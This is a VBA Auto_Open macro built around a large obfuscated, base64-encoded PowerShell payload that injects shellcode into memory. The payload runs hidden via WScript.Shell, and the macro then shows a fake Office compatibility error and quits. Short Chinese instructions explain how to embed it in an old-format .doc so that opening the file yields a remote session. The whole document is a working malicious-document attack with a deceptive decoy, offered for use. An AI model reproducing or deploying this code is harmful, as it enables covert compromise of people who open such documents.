xqFdRuhg = xqFdRuhg + "DgAYgAsAH0AMAAxACwAfQBkADAALAB9ADgAOQAsAH0ANAA0ACw"
xqFdRuhg = xqFdRuhg + "AfQAyADQALAB9ADIANAAsAH0ANQBiACwAfQA1AGIALAB9ADYAM"
xqFdRuhg = xqFdRuhg + "QAsAH0ANQA5ACwAfQA1AGEALAB9ADUAMQAsAH0AZgBmACwAfQB"
xqFdRuhg = xqFdRuhg + "lADAALAB9ADUAOAAsAH0ANQBmACwAfQA1AGEALAB9ADgAYgAsA"
xqFdRuhg = xqFdRuhg + "H0AMQAyACwAfQBlADkALAB9ADgAMAAsAH0AZgBmACwAfQBmAGY"
xqFdRuhg = xqFdRuhg + "ALAB9AGYAZgAsAH0ANQBkACwAfQA2ADgALAB9ADYAZQAsAH0AN"
xqFdRuhg = xqFdRuhg + "gA1ACwAfQA3ADQALAB9ADAAMAAsAH0ANgA4ACwAfQA3ADcALAB"
xqFdRuhg = xqFdRuhg + "9ADYAOQAsAH0ANgBlACwAfQA2ADkALAB9ADUANAAsAH0ANgA4A"
xqFdRuhg = xqFdRuhg + "CwAfQA0AGMALAB9ADcANwAsAH0AMgA2ACwAfQAwADcALAB9AGY"
xqFdRuhg = xqFdRuhg + "AZgAsAH0AZAA1ACwAfQAzADEALAB9AGQAYgAsAH0ANQAzACwAf"
xqFdRuhg = xqFdRuhg + "QA1ADMALAB9ADUAMwAsAH0ANQAzACwAfQA1ADMALAB9AGUAOAA"
xqFdRuhg = xqFdRuhg + "sAH0ANwA3ACwAfQAwADAALAB9ADAAMAAsAH0AMAAwACwAfQA0A"
xqFdRuhg = xqFdRuhg + "GQALAB9ADYAZgAsAH0ANwBhACwAfQA2ADkALAB9ADYAYwAsAH0"
xqFdRuhg = xqFdRuhg + "ANgBjACwAfQA2ADEALAB9ADIAZgAsAH0AMwA1ACwAfQAyAGUAL"
xqFdRuhg = xqFdRuhg + "AB9ADMAMAAsAH0AMgAwACwAfQAyADgALAB9ADQAZAAsAH0ANgA"
xqFdRuhg = xqFdRuhg + "xACwAfQA2ADMALAB9ADYAOQAsAH0ANgBlACwAfQA3ADQALAB9A"
xqFdRuhg = xqFdRuhg + "DYAZgAsAH0ANwAzACwAfQA2ADgALAB9ADMAYgAsAH0AMgAwACw"
xqFdRuhg = xqFdRuhg + "AfQA0ADkALAB9ADYAZQAsAH0ANwA0ACwAfQA2ADUALAB9ADYAY"
xqFdRuhg = xqFdRuhg + "wAsAH0AMgAwACwAfQA0AGQALAB9ADYAMQAsAH0ANgAzACwAfQA"
xqFdRuhg = xqFdRuhg + "yADAALAB9ADQAZgAsAH0ANQAzACwAfQAyADAALAB9ADUAOAAsA"
xqFdRuhg = xqFdRuhg + "H0AMgAwACwAfQAzADEALAB9ADMANAAsAH0ANQBmACwAfQAzADc"
xqFdRuhg = xqFdRuhg + "ALAB9ADUAZgAsAH0AMwAyACwAfQAyADkALAB9ADIAMAAsAH0AN"
xqFdRuhg = xqFdRuhg + "AAxACwAfQA3ADAALAB9ADcAMAAsAH0ANgBjACwAfQA2ADUALAB"
xqFdRuhg = xqFdRuhg + "9ADUANwAsAH0ANgA1ACwAfQA2ADIALAB9ADQAYgAsAH0ANgA5A"
xqFdRuhg = xqFdRuhg + "CwAfQA3ADQALAB9ADIAZgAsAH0AMwA2ACwAfQAzADAALAB9ADM"
xqFdRuhg = xqFdRuhg + "ANQAsAH0AMgBlACwAfQAzADEALAB9ADIAZQAsAH0AMwAxACwAf"
xqFdRuhg = xqFdRuhg + "QAzADUALAB9ADIAMAAsAH0AMgA4ACwAfQA0AGIALAB9ADQAOAA"
xqFdRuhg = xqFdRuhg + "sAH0ANQA0ACwAfQA0AGQALAB9ADQAYwAsAH0AMgBjACwAfQAyA"
xqFdRuhg = xqFdRuhg + "DAALAB9ADYAYwAsAH0ANgA5ACwAfQA2AGIALAB9ADYANQAsAH0"
xqFdRuhg = xqFdRuhg + "AMgAwACwAfQA0ADcALAB9ADYANQAsAH0ANgAzACwAfQA2AGIAL"
xqFdRuhg = xqFdRuhg + "AB9ADYAZgAsAH0AMgA5ACwAfQAyADAALAB9ADUANgAsAH0ANgA"
xqFdRuhg = xqFdRuhg + "1ACwAfQA3ADIALAB9ADcAMwAsAH0ANgA5ACwAfQA2AGYALAB9A"
xqFdRuhg = xqFdRuhg + "DYAZQAsAH0AMgBmACwAfQAzADEALAB9ADMANwAsAH0AMgBlACw"
xqFdRuhg = xqFdRuhg + "AfQAzADQALAB9ADIAZQAsAH0AMwAxACwAfQAyADAALAB9ADUAM"
xqFdRuhg = xqFdRuhg + "wAsAH0ANgAxACwAfQA2ADYALAB9ADYAMQAsAH0ANwAyACwAfQA"
xqFdRuhg = xqFdRuhg + "2ADkALAB9ADIAZgAsAH0AMwA2ACwAfQAzADAALAB9ADMANQAsA"
xqFdRuhg = xqFdRuhg + "H0AMgBlACwAfQAzADEALAB9ADIAZQAsAH0AMwAxACwAfQAzADU"
xqFdRuhg = xqFdRuhg + "ALAB9ADAAMAAsAH0ANgA4ACwAfQAzAGEALAB9ADUANgAsAH0AN"
xqFdRuhg = xqFdRuhg + "wA5ACwAfQBhADcALAB9AGYAZgAsAH0AZAA1ACwAfQA1ADMALAB"
xqFdRuhg = xqFdRuhg + "9ADUAMwAs'+'AH0ANgBhACwAfQAwADMALAB9ADUAMwAsAH0ANQ"
xqFdRuhg = xqFdRuhg + "AzACwAfQA2ADgALAB9AGIAYgAsAH0AMAAxACwAfQAwADAALAB9"
xqFdRuhg = xqFdRuhg + "ADAAMAAsAH0AZQA4ACwAfQA0ADEALAB9ADAAMQAsAH0AMAAwAC"
xqFdRuhg = xqFdRuhg + "wAfQAwADAALAB9ADIAZgAsAH0ANAA2ACwAfQA3ADkALAB9ADMA"
xqFdRuhg = xqFdRuhg + "MQAsAH0ANAAyACwAfQA1ADIALAB9ADYAOQAsAH0ANQA3ACwAfQ"
xqFdRuhg = xqFdRuhg + "A0AGYALAB9ADYAZAAsAH0ANABjACwAfQA0ADgALAB9ADcAMQAs"
xqFdRuhg = xqFdRuhg + "AH0ANAA5ACwAfQA2ADUALAB9ADcAMwAsAH0ANgA3ACwAfQA2AD"
xqFdRuhg = xqFdRuhg + "cALAB9ADMANgAsAH0ANgA2ACwAfQAzADcALAB9ADUAMgAsAH0A"
xqFdRuhg = xqFdRuhg + "NgA3ACwAfQA0AGYALAB9ADMANQAsAH0ANQA3ACwAfQA2AGQALA"
xqFdRuhg = xqFdRuhg + "B9ADQAYgAsAH0ANgA0ACwAfQA2ADkALAB9ADMAMgAsAH0ANgA2"
xqFdRuhg = xqFdRuhg + "ACwAfQA0ADIALAB9ADcANAAsAH0ANQA2ACwAfQAzADcALAB9AD"
xqFdRuhg = xqFdRuhg + "cAMAAsAH0ANABlACwAfQA3ADAALAB9ADIAZAAsAH0AMwA1ACwA"
xqFdRuhg = xqFdRuhg + "fQA3ADQALAB9ADYAMgAsAH0ANABjACwAfQA0AGUALAB9ADcANg"
xqFdRuhg = xqFdRuhg + "AsAH0ANAA4ACwAfQA2AGYALAB9ADYANgAsAH0ANQA2ACwAfQA1"
xqFdRuhg = xqFdRuhg + "ADUALAB9ADYAZAAsAH0AMwA5ACwAfQA3ADEALAB9ADMAMgAsAH"
xqFdRuhg = xqFdRuhg + "0ANQA5ACwAfQA1ADEALAB9ADYAMQAsAH0ANwA3ACwAfQA3ADUA"
xqFdRuhg = xqFdRuhg + "LAB9ADYAOAAsAH0ANgA0ACwAfQA2ADYALAB9ADUAMwAsAH0ANg"
xqFdRuhg = xqFdRuhg + "A0ACwAfQAyAGQALAB9ADYAMgAsAH0ANwAyACwAfQA3ADAALAB9"
xqFdRuhg = xqFdRuhg + "ADQAYgAsAH0ANABiACwAfQA2AGMALAB9ADUANgAsAH0ANABhAC"
xqFdRuhg = xqFdRuhg + "wAfQA0ADcALAB9ADQAOQAsAH0ANwA3ACwAfQA0ADgALAB9ADYA"
xqFdRuhg = xqFdRuhg + "NwAsAH0ANQAzACwAfQA0AGEALAB9ADUANwAsAH0ANgBhACwAfQ"
xqFdRuhg = xqFdRuhg + "A2ADQALAB9ADQAOAAsAH0ANwA3ACwAfQAzADkALAB9ADQANQAs"
xqFdRuhg = xqFdRuhg + "AH0ANQBmACwAfQA0AGUALAB9ADQAYgAsAH0ANQA2ACwAfQA3AD"
xqFdRuhg = xqFdRuhg + "EALAB9ADMAMQAsAH0ANwA1ACwAfQA2ADcALAB9ADcANgAsAH0A"
xqFdRuhg = xqFdRuhg + "NwA1ACwAfQA3ADcALAB9ADcANQAsAH0AMwA4ACwAfQA3ADEALA"
xqFdRuhg = xqFdRuhg + "B9ADUANAAsAH0ANQA0ACwAfQA0ADcALAB9ADUAMwAsAH0ANQA5"
xqFdRuhg = xqFdRuhg + "ACwAfQA3ADEALAB9ADYANQAsAH0AMgBkACwAfQA1ADgALAB9AD"
xqFdRuhg = xqFdRuhg + "QAMwAsAH0AMwAyACwAfQA0ADQALAB9ADcANwAsAH0AMwAwACwA"
xqFdRuhg = xqFdRuhg + "fQA0ADkALAB9ADMANwAsAH0ANQA5ACwAfQA3ADkALAB9ADcANQ"
xqFdRuhg = xqFdRuhg + "AsAH0ANgBiACwAfQA0AGUALAB9ADMAMgAsAH0AMwA1ACwAfQA2"
xqFdRuhg = xqFdRuhg + "AGEALAB9ADQANgAsAH0ANQA2ACwAfQA0ADgALAB9ADQAZAAsAH"
xqFdRuhg = xqFdRuhg + "0ANwAwACwAfQA1ADUALAB9ADMAOAAsAH0ANwA4ACwAfQA2AGQA"
xqFdRuhg = xqFdRuhg + "LAB9ADcAOAAsAH0ANQBmACwAfQA0ADYALAB9ADYAYQAsAH0ANw"
xqFdRuhg = xqFdRuhg + "A0ACwAfQA2ADEALAB9ADYAMwAsAH0ANwA1ACwAfQA1ADYALAB9"
xqFdRuhg = xqFdRuhg + "ADYAYgAsAH0ANwA0ACwAfQA2ADkALAB9ADQANwAsAH0ANQAzAC"
xqFdRuhg = xqFdRuhg + "wAfQA0ADMALAB9ADYAOAAsAH0ANwAwACwAfQAzADAALAB9ADYA"
xqFdRuhg = xqFdRuhg + "YwAsAH0ANAA0ACwAfQA0ADIALAB9ADUAMAAsAH0ANwA5ACwAfQ"
xqFdRuhg = xqFdRuhg + "AzADAALAB9ADMAOAAsAH0ANQBhACwAfQA0AGEALAB9ADMAOQAs"
xqFdRuhg = xqFdRuhg + "AH0ANwA1ACwAfQA2ADIALAB9ADcANgAsAH0ANwAzACwAfQA0AG"
xqFdRuhg = xqFdRuhg + "MALAB9ADYAYwAsAH0ANgBhACwAfQA3ADQALAB9ADYAOAAsAH0A"
xqFdRuhg = xqFdRuhg + "NgA5ACwAfQA1AGYALAB9ADYAYwAsAH0ANQBhACwAfQA2ADkALA"
xqFdRuhg = xqFdRuhg + "B9ADAAMAAsAH0ANQAwACwAfQA2ADgALAB9ADUANwAsAH0AOAA5"
xqFdRuhg = xqFdRuhg + "ACwAfQA5AGYALAB9AGMANgAsAH0AZgBmACwAfQBkADUALAB9AD"
xqFdRuhg = xqFdRuhg + "gAOQAsAH0AYwA2ACwAfQA1ADMALAB9ADYAOAAsAH0AMAAwACwA"
xqFdRuhg = xqFdRuhg + "fQAzADIALAB9AGUAOAAsAH0AOAA0ACwAfQA1ADMALAB9ADUAMw"
xqFdRuhg = xqFdRuhg + "AsAH0ANQAzACwAfQA1ADcALAB9ADUAMwAsAH0ANQA2ACwAfQA2"
xqFdRuhg = xqFdRuhg + "ADgALAB9AGUAYgAsAH0ANQA1ACwAfQAyAGUALAB9ADMAYgAsAH"
xqFdRuhg = xqFdRuhg + "0AZgBmACwAfQBkADUALAB9ADkANgAsAH0ANgBhACwAfQAwAGEA"
xqFdRuhg = xqFdRuhg + "LAB9ADUAZgAsAH0ANgA4ACwAfQA4ADAALAB9ADMAMwAsAH0AMA"
xqFdRuhg = xqFdRuhg + "AwACwAfQAwADAALAB9ADgAOQAsAH0AZQAwACwAfQA2AGEALAB9"
xqFdRuhg = xqFdRuhg + "ADAANAAsAH0ANQAwACwAfQA2AGEALAB9ADEAZgAsAH0ANQA2AC"
xqFdRuhg = xqFdRuhg + "wAfQA2ADgALAB9ADcANQAsAH0ANAA2ACwAfQA5AGUALAB9ADgA"
xqFdRuhg = xqFdRuhg + "NgAsAH0AZgBmACwAfQBkADUALAB9ADUAMwAsAH0ANQAzACwAfQ"
xqFdRuhg = xqFdRuhg + "A1ADMALAB9ADUAMwAsAH0ANQA2ACwAfQA2ADgALAB9ADIAZAAs"
xqFdRuhg = xqFdRuhg + "AH0AMAA2ACwAfQAxADgALAB9ADcAYgAsAH0AZgBmACwAfQBkAD"
xqFdRuhg = xqFdRuhg + "UALAB9ADgANQAsAH0AYwAwACwAfQA3ADUALAB9ADEANAAsAH0A"
xqFdRuhg = xqFdRuhg + "NgA4ACwAfQA4ADgALAB9ADEAMwAsAH0AMAAwACwAfQAwADAALA"
xqFdRuhg = xqFdRuhg + "B9ADYAOAAsAH0ANAA0ACwAfQBmADAALAB9ADMANQAsAH0AZQAw"
xqFdRuhg = xqFdRuhg + "ACwAfQBmAGYALAB9AGQANQAsAH0ANABmACwAfQA3ADUALAB9AG"
xqFdRuhg = xqFdRuhg + "MAZAAsAH0AZQA4ACwAfQA0AGEALAB9ADAAMAAsAH0AMAAwACwA"
xqFdRuhg = xqFdRuhg + "fQAwADAALAB9ADYAYQAsAH0ANAAwACwAfQA2ADgALAB9ADAAMA"
xqFdRuhg = xqFdRuhg + "AsAH0AMQAwACwAfQAwADAALAB9ADAAMAAsAH0ANgA4ACwAfQAw"
xqFdRuhg = xqFdRuhg + "ADAALAB9ADAAMAAsAH0ANAAwACwAfQAwADAALAB9ADUAMwAsAH"
xqFdRuhg = xqFdRuhg + "0ANgA4ACwAfQA1ADgALAB9AGEANAAsAH0ANQAzACwAfQBlADUA"
xqFdRuhg = xqFdRuhg + "LAB9AGYAZgAsAH0AZAA1ACwAfQA5ADMALAB9ADUAMwAsAH0ANQ"
xqFdRuhg = xqFdRuhg + "AzACwAfQA4ADkALAB9AGUANwAsAH0ANQA3ACwAfQA2ADgALAB9"
xqFdRuhg = xqFdRuhg + "ADAAMAAsAH0AMgAwACwAfQAwADAALAB9ADAAMAAsAH0ANQAzAC"
xqFdRuhg = xqFdRuhg + "wAfQA1ADYALAB9ADYAOAAsAH0AMQAyACwAfQA5ADYALAB9ADgA"
xqFdRuhg = xqFdRuhg + "OQAsAH0AZQAyACwAfQBmAGYALAB9AGQANQAsAH0AOAA1ACwAfQ"
xqFdRuhg = xqFdRuhg + "BjADAALAB9ADcANAAsAH0AYwBmACwAfQA4AGIALAB9ADAANwAs"
xqFdRuhg = xqFdRuhg + "AH0AMAAxACwAfQBjADMALAB9ADgANQAsAH0AYwAwACwAfQA3AD"
xqFdRuhg = xqFdRuhg + "UALAB9AGUANQAsAH0ANQA4ACwAfQBjADMALAB9ADUAZgAsAH0A"
xqFdRuhg = xqFdRuhg + "ZQA4ACwAfQA2AGIALAB9AGYAZgAsAH0AZgBmACwAfQBmAGYALA"
xqFdRuhg = xqFdRuhg + "B9ADMAMQAsAH0AMwA5ACwAfQAzADIALAB9ADIAZQAsAH0AMwAx"
xqFdRuhg = xqFdRuhg + "ACwAfQAzADYALAB9ADMAOAAsAH0AMgBlACwAfQAzADEALAB9AD"
xqFdRuhg = xqFdRuhg + "IAZQAsAH0AMwAxACwAfQAzADMALAB9ADMAMwAsAH0AMAAwACwA"
xqFdRuhg = xqFdRuhg + "fQBiAGIALAB9AGYAMAAsAH0AYgA1ACwAfQBhADIALAB9ADUANg"
xqFdRuhg = xqFdRuhg + "AsAH0ANgBhACwAfQAwADAALAB9ADUAMwAsAH0AZgBmACwAfQBk"
xqFdRuhg = xqFdRuhg + "ADUAIgA7ACQAUQB5AD0AQQBkAGQALQBUAHkAcABlACAALQBwAG"
xqFdRuhg = xqFdRuhg + "EAcwBzACAALQBtACAAJABhAFcAIAAtAE4AYQBtAGUAIAAiAGoA"
xqFdRuhg = xqFdRuhg + "SwAiACAALQBuAGEAbQBlAHMAIABLAHgAawA7ACQAUQB5AD0AJA"
xqFdRuhg = xqFdRuhg + "BRAHkALgByAGUAcABsAGEAYwBlACgAIgBLAHgAawAiACwAIAAi"
xqFdRuhg = xqFdRuhg + "AFcAaQBuACIAKwAiADMAIgArACIAMgBGAHUAbgBjAHQAaQBvAG"
xqFdRuhg = xqFdRuhg + "4AcwAiACkAOwBbAGIAeQB0AGUAWwBdAF0AJABjAHcAIAA9ACAA"
xqFdRuhg = xqFdRuhg + "JABjAHcALgByAGUAcABsAGEAYwBlACgAIgB9ACIALAAiAHMAcA"
xqFdRuhg = xqFdRuhg + "BFAEsAeAAiACkALgByAGUAcABsAGEAYwBlACgAIgBzAHAARQBL"
xqFdRuhg = xqFdRuhg + "ACIALAAgACIAMAAiACkALgBTAHAAbABpAHQAKAAiACwAIgApAD"
xqFdRuhg = xqFdRuhg + "sAJABXAHIAPQAwAHgAMQAwADAANgA7AGkAZgAgACgAJABjAHcA"
xqFdRuhg = xqFdRuhg + "LgBMACAALQBnAHQAIAAwAHgAMQAwADAANgApAHsAJABXAHIAPQ"
xqFdRuhg = xqFdRuhg + "AkAGMAdwAuAEwAfQA7ACQAQgBTAD0AJABRAHkAOgA6AGMAYQBs"
xqFdRuhg = xqFdRuhg + "AGwAbwBjACgAMAB4ADEAMAAwADYALAAgADEAKQA7AFsAVQBJAG"
xqFdRuhg = xqFdRuhg + "4AdAA2ADQAXQAkAGgAUABRACAAPQAgADAAOwBmAG8AcgAoACQA"
xqFdRuhg = xqFdRuhg + "UABSAD0AMAA7ACQAUABSACAALQBsAGUAKAAkAGMAdwAuAEwAZQ"
xqFdRuhg = xqFdRuhg + "BuAGcAdABoAC0AMQApADsAJABQAFIAKwArACkAewAkAFEAeQA6"
xqFdRuhg = xqFdRuhg + "ADoAbQBlAG0AcwBlAHQAKABbAEkAbgB0AFAAdAByAF0AKAAkAE"
xqFdRuhg = xqFdRuhg + "IAUwAuAFQAbwBJAG4AdAAzADIAKAApACsA'+'JABQAFIAKQAsA"
xqFdRuhg = xqFdRuhg + "CAAJABjAHcAWwAkAFAAUgBdACwAIAAxACkAfQA7ACQAUQB5ADo"
xqFdRuhg = xqFdRuhg + "AOgBWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKAAkAEIAU"
xqFdRuhg = xqFdRuhg + "wAsACAAMAB4ADEAMAAwADYALAAgADAAeAA0ADAALAAgAFsAUgB"
xqFdRuhg = xqFdRuhg + "lAGYAXQAkAGgAUABRACkAOwAkAE4AcwBmAD0AWwBpAG4AdABdA"
xqFdRuhg = xqFdRuhg + "DAAeAAwADAAOwAkAFEAeQA6ADoAQwByAGUAYQB0AGUAVABoAHI"
xqFdRuhg = xqFdRuhg + "AZQBhAGQAKABbAGkAbgB0AF0AMAAsACQATgBzAGYALAAkAEIAU"
xqFdRuhg = xqFdRuhg + "wAsADAALAAwACwAMAApADsAJwA7ACQAYgBPAD0AWwBDAG8AbgB"
xqFdRuhg = xqFdRuhg + "2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpA"
xqFdRuhg = xqFdRuhg + "G4AZwAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADo"
xqFdRuhg = xqFdRuhg + "AOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAQgB5AHQAZQBzACgAJ"
xqFdRuhg = xqFdRuhg + "AB0AGcAKQApADsAJABBAFIAPQAiAHAAbwB3AGUAcgBzAGgAZQB"
xqFdRuhg = xqFdRuhg + "sAGwAIgA7ACQAdAB3AD0AIgBXAGkAbgBkAG8AdwBzACIAOwAkA"
xqFdRuhg = xqFdRuhg + "EIAWABxAHIAIAA9ACAAIgBDADoAXAAkAHQAdwBcAHcAegBSAHk"
xqFdRuhg = xqFdRuhg + "AZwBmAFIAXAAkAHQAdwAkAEEAUgBcAHYAMQAuADAAXAAkAEEAU"
xqFdRuhg = xqFdRuhg + "gAiADsAJABCAFgAcQByACAAPQAgACQAQgBYAHEAcgAuAHIAZQB"
xqFdRuhg = xqFdRuhg + "wAGwAYQBjAGUAKAAiAHcAegBSAHkAIgAsACAAIgBzAHkAcwAiA"
xqFdRuhg = xqFdRuhg + "CkAOwAkAEIAWABxAHIAIAA9ACAAJABCAFgAcQByAC4AcgBlAHA"
xqFdRuhg = xqFdRuhg + "AbABhAGMAZQAoACIAZwBmAFIAIgAsACAAIgB3AG8AdwA2ADQAI"
xqFdRuhg = xqFdRuhg + "gApADsAJABFAHIAZABaACAAPQAgACcAVAAiACsAIgByACIAKwA"
xqFdRuhg = xqFdRuhg + "iAHUAZQAnADsAaQBmACgAWwBlAG4AdgBpAHIAbwBuAG0AZQBuA"
xqFdRuhg = xqFdRuhg + "HQAXQA6ADoASQBzADYANABCAGkAdABPAHAAZQByAGEAdABpAG4"
xqFdRuhg = xqFdRuhg + "AZwBTAHkAcwB0AGUAbQAgAC0AZQBxACAAJwAkAEUAcgBkAFoAJ"
xqFdRuhg = xqFdRuhg + "wApAHsAJABBAFIAPQAgACQAQgBYAHEAcgB9ADsAJABwAGgAPQA"
xqFdRuhg = xqFdRuhg + "iACAAJABBAFIAIABCAEQAZgBVACAAJABiAE8AIgA7ACQAcABoA"
xqFdRuhg = xqFdRuhg + "D0AJABwAGgALgByAGUAcABsAGEAYwBlACgAIgBCAEQAZgBVACI"
xqFdRuhg = xqFdRuhg + "ALAAgACIALQBuAG8AZQB4AGkAdAAgAC0AZQAiACkAOwBpAGUAe"
xqFdRuhg = xqFdRuhg + "AAgACQAcABoAA'+'==')"""
​
​
Dim qyclAVHtnBPLmg
qyclAVHtnBPLmg = "S" & "h" & "e" & "l" & "l"
Dim huaexSxMhtKsVC
huaexSxMhtKsVC = "W" & "S" & "c" & "r" & "i" & "p" & "t"
Dim gWlAlJBV
gWlAlJBV = huaexSxMhtKsVC & "." & qyclAVHtnBPLmg
Dim MtRJE
Dim fXSggOdGMh
Set MtRJE = VBA.CreateObject(gWlAlJBV)
Dim waitOnReturn As Boolean: waitOnReturn = False
Dim windowStyle As Integer: windowStyle = 0
Dim WRJLMaV
WRJLMaV = "p" & "o" & "w" & "e" & "r" & "s" & "h" & "e" & "l" & "l" & "." & "e" & "x" & "e"  & " "
MtRJE.Run WRJLMaV & xqFdRuhg, windowStyle, waitOnReturn
​
Dim title As String
title = "Microsoft Office (Compatibility Mode)"
Dim msg As String
Dim intResponse As Integer
msg = "This application appears to have been made with an older version of the Microsoft Office product suite. Please have the author save this document to a newer and supported format. [Error Code: -219]"
intResponse = MsgBox(msg, 16, title)
Application.Quit
End Sub

创建1.doc（需老版本的doc文件后缀）

打开并在视图那块找到宏

并创建宏Auto_Open

最后将生成的内容全部粘贴就行了

关闭并重新打开就会自动执行宏，最后获得会话